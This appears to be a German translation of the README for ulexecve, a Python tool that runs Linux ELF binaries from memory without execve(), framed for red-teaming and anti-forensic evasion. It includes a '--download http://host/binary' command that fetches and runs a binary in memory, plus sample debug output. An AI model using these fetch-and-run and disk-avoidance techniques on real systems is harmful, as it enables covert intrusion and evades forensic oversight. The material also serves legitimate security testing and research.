
Führt beliebige ELF-Binärdateien direkt aus dem Speicher unter Linux aus, ohne die Festplatte zu berühren, und ermöglicht so verdeckte Red-Teaming- und Anti-Forensik-Operationen über ein einzelnes Python-Skript.
Führe dynamisch oder statisch kompilierte ELF-Linux-Binärdateien aus, ohne jemals execve() aufzurufen.
cat /bin/echo | ulexecve - hello
hello
Dieses Python-Werkzeug heißt ulexecve und steht für userland execve. Es hilft dir, beliebige ELF-Binärdateien auf Linux-Systemen aus dem Userspace auszuführen, ohne jemals den execve()-Systemaufruf zu verwenden. Mit anderen Worten: Du kannst beliebige Binärdateien direkt aus dem Speicher ausführen, ohne sie jemals auf den Datenträger schreiben zu müssen. Dies ist aus forensischer oder Red-Teaming-Perspektive sehr nützlich und ermöglicht es dir, dich heimlicher zu bewegen, während du dennoch kompilierte Binärdateien auf Zielmaschinen ablegst. Das Werkzeug funktioniert mit CPython 3.x sowie CPython 2.7 (und möglicherweise früher) auf den unterstützten Linux-Plattformen (x86, x86-64 und aarch64). Es werden sowohl statische als auch dynamisch kompilierte ELF-Binärdateien unterstützt. Natürlich wird es immer eine kleine Teilmenge von Binärdateien geben, die möglicherweise nicht funktionieren oder zu einem Absturz führen, und für diese ist eine 100% zuverlässige Fallback-Methode implementiert, die auf dem modernen Systemaufruf memfd_create() basiert.
Linux-Userland-execve-Werkzeuge haben eine Geschichte, die etwa zwei Jahrzehnte zurückreicht. Die ersten soliden Beschreibungen dazu stammen von the grugq in The Design and Implementation of Userland Exec [1] sowie einem weiteren Artikel in Phrack 62 [2]. Anti-forensische Techniken zur Ausführung von Binärdateien direkt aus dem Speicher sind recht verbreitet. Rapid7s mettle enthält beispielsweise eine Bibliothek namens libreflect, die ein Dienstprogramm noexec enthält, das ebenfalls versucht, ein ELF nur durch Reflection auszuführen. Dieses Werkzeug ist jedoch in C geschrieben und hat die implizite Anforderung, dass du die noexec-Binärdatei auf das Zielsystem übertragen und diese Binärdatei ausführen können musst.
In modernen Containerumgebungen ist dies definitiv nicht immer mehr möglich. Allerdings enthalten viele Containerumgebungen eine Python-Installation. Die Fähigkeit, einfach ein Python-Skript per curl oder ähnlich auf einer Zielmaschine herunterzuladen und dieses Skript dann auszuführen, um anschließend heimlich beliebige Binärdateien auszuführen, ist aus forensischer Sicht sehr nützlich.
Dies ist auch der Grund, warum das Werkzeug vollständig in einer einzigen Datei implementiert ist. Dies sollte es einfacher machen, es auf Zielsystemen herunterzuladen und sich keine Gedanken über die Installation anderer Abhängigkeiten zu machen, bevor es ausgeführt werden kann. Das Werkzeug wird mit Python 2.7 getestet, obwohl diese Python-Version veraltet ist. Es gibt noch viele Systeme mit 2.x-Versionen, daher ist dies nützlich.
Es gab keine guten anderen Implementierungen eines Python-Userland-execve(). Es gibt SELF [3], das nicht ausführlich dokumentiert war, keine einfachen Debugging-Optionen bot, aber vor allem überhaupt nicht funktionierte. Die ulexecve-Implementierung wurde von Grund auf neu geschrieben. Sie parst die ELF-Datei, lädt und parst bei Bedarf auch den dynamischen Linker, bildet alle Segmente in den Speicher ab und erstellt schließlich einen Sprungpuffer mit CPU-Anweisungen, um die Kontrolle vom Python-Prozess direkt auf die neu geladene Binärdatei zu übertragen.
Die gesamte übliche ELF-Parsing-Logik, das Einrichten des Stacks, das Abbilden der ELF-Segmente und das Einrichten der Sprungpuffer sind abstrahiert, sodass es relativ einfach (in der Größenordnung von ein paar Stunden) ist, es auf eine andere CPU zu portieren. Die Portierung auf andere ELF-basierte Plattformen wie die BSDs könnte etwas aufwändiger sein, sollte aber dennoch recht einfach sein. Weitere Informationen dazu findest du in den Kommentaren im Code.
Bitte beachte, dass es ein explizites Designziel ist, keine externen Abhängigkeiten zu haben und alles in einer einzigen Quellcodedatei zu implementieren. Wenn du kleinere Payloads benötigst, sollte es relativ trivial sein, die Unterstützung für bestimmte CPU-Typen zu entfernen oder alle Debug-Informationen und andere Optionen zu entfernen.
Obwohl dies aus forensischer Sicht wenig Sinn ergibt, ist das Werkzeug über pip installierbar.
pip install ulexecve
ulexecve --help
python setup.py sdist
python -m pip install --upgrade dist/ulexecve-<version>.tar.gz
ulexecve --help
curl -o ulexecve.py https://raw.githubusercontent.com/anvilsecure/ulexecve/docs/ulexecve.py
./ulexecve.py --help
Das Werkzeug unterstützt vollständig statische und dynamisch kompilierte ausführbare Dateien. Gib einfach den Dateinamen der Binärdatei an ulexecve und alle Argumente, die du an die Binärdatei übergeben möchtest. Die Umgebung wird direkt aus der Umgebung kopiert, in der du ulexecve ausführst.
ulexecve /bin/ls -lha
Du kannst eine Binärdatei von stdin lesen lassen, wenn du - als Dateinamen angibst.
cat /bin/ls | ulexecve - -lha
Um eine Binärdatei in den Speicher herunterzuladen und sofort auszuführen, kannst du --download verwenden. Dies interpretiert das Dateinamen-Argument als URI.
ulexecve --download http://host/binary
Zum Debuggen stehen mehrere Optionen zur Verfügung. Bei einem Absturz kannst du Debug-Informationen über --debug, den aufgebauten Stack über --show-stack sowie den generierten Sprungpuffer über --show-jumpbuf anzeigen. Die Option --jump-delay ist sehr nützlich, wenn du ein ELF ordnungsgemäß parsen und abbilden möchtest und dann einen Debugger anhängen, um durch den Sprungpuffer und die letztendlich ausgeführte Binärdatei zu schreiten, um die Ursache des Absturzes zu finden.
cat /bin/echo | ulexecve --debug --show-stack --show-jumpbuf - hello
...
PT_LOAD at offset 0x0002c520: flags=0x6, vaddr=0x2d520, filesz=0x1ad8, memsz=0x1c70
Loaded interpreter successfully
Stack allocated at: 0x7fddf630e000
vDSO loaded at 0x7ffd8952e000 (Auxv entry AT_SYSINFO_EHDR), AT_SYSINFO: 0x00000000
Auxv entries: HWCAP=0x00000002, HWCAP2=0x00000002, AT_CLKTCK=0x00000064
stack contents:
argv
00000000: 0x0000000000000002
00000008: 0x00007fddf6312410
...
Generated mmap call (addr=0x00000000, length=0x00030000, prot=0x7, flags=0x22)
Generated memcpy call (dst=%r11 + 0x00000000, src=0x02534650, size=0x00000fc8)
Generated memcpy call (dst=%r11 + 0x0002d520, src=0x0253d720, size=0x00001ad8)
Generating jumpcode with entry_point=0x00001100 and stack=0x7fddf630e000
Jumpbuf with entry %r11+0x1100 and stack: 0x00007fddf630e000
Written jumpbuf to /tmp/tmphsiaygna.jumpbuf.bin (#592 bytes)
Executing: objdump -m i386:x86-64 -b binary -D /tmp/tmphsiaygna.jumpbuf.bin
...
245: 00 00 00
248: 4c 01 d9 add %r11,%rcx
24b: 48 31 d2 xor %rdx,%rdx
24e: ff e1 jmpq *%rcx
...
Memmove(0x7fddf6f0e000, 0x0254d7f0, 0x00000250)
hello
Es gibt immer die Option --fallback. Sie ist nicht so heimlich wie das Parsen und Abbilden der Binärdateien selbst im Userspace. Die Fallback-Methode verwendet memfd_create() und fexecve(), sollte aber zu 100% für die Ausführung beliebiger statischer oder dynamischer Binärdateien funktionieren. Vorausgesetzt natürlich, die gelieferten Binärdateien sind die richtigen für die Plattform, auf der du dich befindest.